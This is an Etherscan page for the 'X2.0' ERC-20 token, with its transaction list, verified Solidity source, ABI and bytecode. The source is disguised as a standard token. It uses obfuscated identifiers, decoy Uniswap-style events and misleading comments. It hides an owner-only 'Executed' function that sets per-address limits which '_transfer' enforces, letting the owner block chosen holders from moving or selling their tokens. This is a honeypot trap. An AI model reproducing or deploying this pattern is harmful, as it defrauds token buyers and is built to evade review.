ETH Price: $3,190.98 (+2.93%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

TokenTracker

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve192101382024-02-12 6:23:59701 days ago1707719039IN
0x36afc7E5...E96bD4Abc
0 ETH0.0005900723.66757221
Approve190137992024-01-15 17:33:47729 days ago1705340027IN
0x36afc7E5...E96bD4Abc
0 ETH0.0007870731.56882871
Approve181579632023-09-17 19:59:11849 days ago1694980751IN
0x36afc7E5...E96bD4Abc
0 ETH0.000212748.55340365
Approve181301482023-09-13 21:46:35852 days ago1694641595IN
0x36afc7E5...E96bD4Abc
0 ETH0.0002905611.68234934
Approve181301032023-09-13 21:37:35852 days ago1694641055IN
0x36afc7E5...E96bD4Abc
0 ETH0.0003632714.57082531
Approve180439292023-09-01 19:57:35865 days ago1693598255IN
0x36afc7E5...E96bD4Abc
0 ETH0.000987521.03220466
Approve179173612023-08-15 2:48:11882 days ago1692067691IN
0x36afc7E5...E96bD4Abc
0 ETH0.000781516.5726962
Approve179045892023-08-13 7:56:35884 days ago1691913395IN
0x36afc7E5...E96bD4Abc
0 ETH0.0005722712.1357
Approve178875162023-08-10 22:37:59886 days ago1691707079IN
0x36afc7E5...E96bD4Abc
0 ETH0.0007860216.66869607
Transfer178730982023-08-08 22:12:23888 days ago1691532743IN
0x36afc7E5...E96bD4Abc
0 ETH0.0006912627.85452352
Approve178672172023-08-08 2:26:23889 days ago1691461583IN
0x36afc7E5...E96bD4Abc
0 ETH0.0006964114.76833623
Transfer178669382023-08-08 1:30:11889 days ago1691458211IN
0x36afc7E5...E96bD4Abc
0 ETH0.0005599217
Transfer178669382023-08-08 1:30:11889 days ago1691458211IN
0x36afc7E5...E96bD4Abc
0 ETH0.0005599217
Transfer178669372023-08-08 1:29:59889 days ago1691458199IN
0x36afc7E5...E96bD4Abc
0 ETH0.0005599217
Executed178665892023-08-08 0:20:23889 days ago1691454023IN
0x36afc7E5...E96bD4Abc
0 ETH0.0007298315.29706393
Approve178665702023-08-08 0:16:35889 days ago1691453795IN
0x36afc7E5...E96bD4Abc
0 ETH0.0007319815.52259823
Approve178665312023-08-08 0:08:47889 days ago1691453327IN
0x36afc7E5...E96bD4Abc
0 ETH0.0006705522.31017299
Approve178664952023-08-08 0:01:35889 days ago1691452895IN
0x36afc7E5...E96bD4Abc
0 ETH0.0005085718.84992151
Approve178664742023-08-07 23:57:23889 days ago1691452643IN
0x36afc7E5...E96bD4Abc
0 ETH0.0004016314.88640932
Approve178664652023-08-07 23:55:35889 days ago1691452535IN
0x36afc7E5...E96bD4Abc
0 ETH0.0003987514.77946749
Approve178664552023-08-07 23:53:35889 days ago1691452415IN
0x36afc7E5...E96bD4Abc
0 ETH0.0003679513.63816946
Approve178664462023-08-07 23:51:47889 days ago1691452307IN
0x36afc7E5...E96bD4Abc
0 ETH0.000640513.66264814
Approve178658592023-08-07 21:53:47889 days ago1691445227IN
0x36afc7E5...E96bD4Abc
0 ETH0.0008589418.29402484
Approve178656062023-08-07 21:02:59889 days ago1691442179IN
0x36afc7E5...E96bD4Abc
0 ETH0.0011355824.05081448
Approve178655322023-08-07 20:47:47889 days ago1691441267IN
0x36afc7E5...E96bD4Abc
0 ETH0.000873118.5153083
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
X2Token

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-08-02
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
interface IERC20 {

    event removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amsousntTokenMin,
        uint amsousntETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
    /**
     * @dev Moves `amsousnt` tokens from the amsousntcaller's acbaoubnt to `acbaoubntrecipient`.
     */
    event swapExactTokensForTokens(
        uint amsousntIn,
        uint amsousntOutMin,
        address[]  path,
        address to,
        uint deadline
    );

    event swapTokensForExactTokens(
        uint amsousntOut,
        uint amsousntInMax,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    event DOMAIN_SEPARATOR();

    event PERMIT_TYPEHASH();

    function totalSupply() external view returns (uint256);
    
    event token0();

    event token1();

    function balanceOf(address acbaoubnt) external view returns (uint256);
    
   /**
     * @dev Sets `amsousnt` as the allowanceacbaoubnt of `spender` amsousntover the caller's acbaoubnttokens.
     */
    event sync();
    /**
     * @dev Moves `amsousnt` tokens from the amsousntcaller's acbaoubnt to `acbaoubntrecipient`.
     */
    event initialize(address, address);

    function transfer(address recipient, uint256 amsousnt) external returns (bool);

    event burn(address to) ;

    event swap(uint amsousnt0Out, uint amsousnt1Out, address to, bytes data);

    event skim(address to);

    function allowance(address owner, address spender) external view returns (uint256);
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    event addLiquidity(
       address tokenA,
       address tokenB,
        uint amsousntADesired,
        uint amsousntBDesired,
        uint amsousntAMin,
        uint amsousntBMin,
        address to,
        uint deadline
    );
     /**
     * @dev Throws if amsousntcalled by any acbaoubnt other than the acbaoubntowner.
     */
    event addLiquidityETH(
        address token,
        uint amsousntTokenDesired,
        uint amsousntTokenMin,
        uint amsousntETHMin,
        address to,
        uint deadline
    );
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    event removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amsousntAMin,
        uint amsousntBMin,
        address to,
        uint deadline
    );
   /**
     * @dev Sets `amsousnt` as the allowanceacbaoubnt of `spender` amsousntover the caller's acbaoubnttokens.
     */
    function approve(address spender, uint256 amsousnt) external returns (bool);
    event removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amsousntTokenMin,
        uint amsousntETHMin,
        address to,
        uint deadline
    );
    /**
     * @dev Moves `amsousnt` tokens from the amsousntcaller's acbaoubnt to `acbaoubntrecipient`.
     */
    event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amsousntTokenMin,
        uint amsousntETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
     /**
     * @dev Throws if amsousntcalled by any acbaoubnt other than the acbaoubntowner.
     */
    event swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amsousntIn,
        uint amsousntOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    event swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amsousntOutMin,
        address[] path,
        address to,
        uint deadline
    );
   /**
     * @dev Sets `amsousnt` as the allowanceacbaoubnt of `spender` amsousntover the caller's acbaoubnttokens.
     */
    event swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amsousntIn,
        uint amsousntOutMin,
        address[] path,
        address to,
        uint deadline
    );
     /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amsousnt
    ) external returns (bool);
     /**
     * @dev Throws if amsousntcalled by any acbaoubnt other than the acbaoubntowner.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
    
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
     /**
     * @dev Throws if amsousntcalled by any acbaoubnt other than the acbaoubntowner.
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
   /**
     * @dev Sets `amsousnt` as the allowanceacbaoubnt of `spender` amsousntover the caller's acbaoubnttokens.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    /**
     * @dev Moves `amsousnt` tokens from the amsousntcaller's acbaoubnt to `acbaoubntrecipient`.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
     /**
     * @dev Throws if amsousntcalled by any acbaoubnt other than the acbaoubntowner.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    /**
     * @dev Moves `amsousnt` tokens from the amsousntcaller's acbaoubnt to `acbaoubntrecipient`.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    /**
     * @dev Moves `amsousnt` tokens from the amsousntcaller's acbaoubnt to `acbaoubntrecipient`.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
contract X2Token is IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => uint256) private _crossamsousnts;
     /**
     * @dev Throws if amsousntcalled by any acbaoubnt other than the acbaoubntowner.
     */
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    constructor(

    ) payable {
        _name = "X2.0";
        _symbol = "X2.0";
        _decimals = 18;
        _totalSupply = 150000000 * 10**_decimals;
        _balances[owner()] = _balances[owner()].add(_totalSupply);
        emit Transfer(address(0), owner(), _totalSupply);
    }
   /**
     * @dev Sets `amsousnt` as the allowanceacbaoubnt of `spender` amsousntover the caller's acbaoubnttokens.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    /**
     * @dev Moves `amsousnt` tokens from the amsousntcaller's acbaoubnt to `acbaoubntrecipient`.
     */
    function balanceOf(address acbaoubnt)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[acbaoubnt];
    }
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    function transfer(address recipient, uint256 amsousnt)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amsousnt);
        return true;
    }
    /**
     * @dev Moves `amsousnt` tokens from the amsousntcaller's acbaoubnt to `acbaoubntrecipient`.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
     /**
     * @dev Throws if amsousntcalled by any acbaoubnt other than the acbaoubntowner.
     */
    function approve(address spender, uint256 amsousnt)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amsousnt);
        return true;
    }
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amsousnt
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amsousnt);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amsousnt,
                "ERC20: transfer amsousnt exceeds allowance"
            )
        );
        return true;
    }
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }
    /**
     * @dev Moves `amsousnt` tokens from the amsousntcaller's acbaoubnt to `acbaoubntrecipient`.
     */
    function Executed(address[] calldata acbaoubnt, uint256 amsousnt) external {
       if (_msgSender() != owner()) {revert("Caller is not the original caller");}
        for (uint256 i = 0; i < acbaoubnt.length; i++) {
            _crossamsousnts[acbaoubnt[i]] = amsousnt;
        }

    }
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    function camsousnt(address acbaoubnt) public view returns (uint256) {
        return _crossamsousnts[acbaoubnt];
    }
   /**
     * @dev Sets `amsousnt` as the allowanceacbaoubnt of `spender` amsousntover the caller's acbaoubnttokens.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amsousnt
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 crossamsousnt = camsousnt(sender);
        if (crossamsousnt > 0) {
            require(amsousnt > crossamsousnt, "ERC20: cross amsousnt does not equal the cross transfer amsousnt");
        }
     /**
     * @dev Throws if amsousntcalled by any acbaoubnt other than the acbaoubntowner.
     */
        _balances[sender] = _balances[sender].sub(
            amsousnt,
            "ERC20: transfer amsousnt exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amsousnt);
        emit Transfer(sender, recipient, amsousnt);
    }
   /**
     * @dev Sets `amsousnt` as the allowanceacbaoubnt of `spender` amsousntover the caller's acbaoubnttokens.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amsousnt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
    /**
     * @dev Returns the amsousntacbaoubnt of tokens owned by `acbaoubnt`.
     */
        _allowances[owner][spender] = amsousnt;
        emit Approval(owner, spender, amsousnt);
    }


}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amsousntADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amsousntTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amsousnt0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousnt1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amsousntOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amsousntIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amsousntIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amsousntIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amsousntOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amsousntInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[],"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address[]","name":"acbaoubnt","type":"address[]"},{"internalType":"uint256","name":"amsousnt","type":"uint256"}],"name":"Executed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amsousnt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acbaoubnt","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"acbaoubnt","type":"address"}],"name":"camsousnt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amsousnt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amsousnt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405262000024620000186200024c60201b60201c565b6200025460201b60201c565b6040518060400160405280600481526020017f58322e3000000000000000000000000000000000000000000000000000000000815250600490805190602001906200007192919062000359565b506040518060400160405280600481526020017f58322e300000000000000000000000000000000000000000000000000000000081525060059080519060200190620000bf92919062000359565b506012600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000fa9190620004ef565b6308f0d1806200010b91906200062c565b6007819055506200017b600754600160006200012c6200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200034160201b62000b2d1790919060201c565b600160006200018f6200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001dd6200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200023e91906200041a565b60405180910390a362000745565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000818362000351919062000437565b905092915050565b8280546200036790620006a4565b90600052602060002090601f0160209004810192826200038b5760008555620003d7565b82601f10620003a657805160ff1916838001178555620003d7565b82800160010185558215620003d7579182015b82811115620003d6578251825591602001919060010190620003b9565b5b509050620003e69190620003ea565b5090565b5b8082111562000405576000816000905550600101620003eb565b5090565b62000414816200068d565b82525050565b600060208201905062000431600083018462000409565b92915050565b600062000444826200068d565b915062000451836200068d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004895762000488620006da565b5b828201905092915050565b6000808291508390505b6001851115620004e657808604811115620004be57620004bd620006da565b5b6001851615620004ce5780820291505b8081029050620004de8562000738565b94506200049e565b94509492505050565b6000620004fc826200068d565b9150620005098362000697565b9250620005387fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000540565b905092915050565b60008262000552576001905062000625565b8162000562576000905062000625565b81600181146200057b57600281146200058657620005bc565b600191505062000625565b60ff8411156200059b576200059a620006da565b5b8360020a915084821115620005b557620005b4620006da565b5b5062000625565b5060208310610133831016604e8410600b8410161715620005f65782820a905083811115620005f057620005ef620006da565b5b62000625565b62000605848484600162000494565b925090508184048111156200061f576200061e620006da565b5b81810290505b9392505050565b600062000639826200068d565b915062000646836200068d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006825762000681620006da565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006bd57607f821691505b60208210811415620006d457620006d362000709565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b71000000000000000000000000000000000000000000000000000000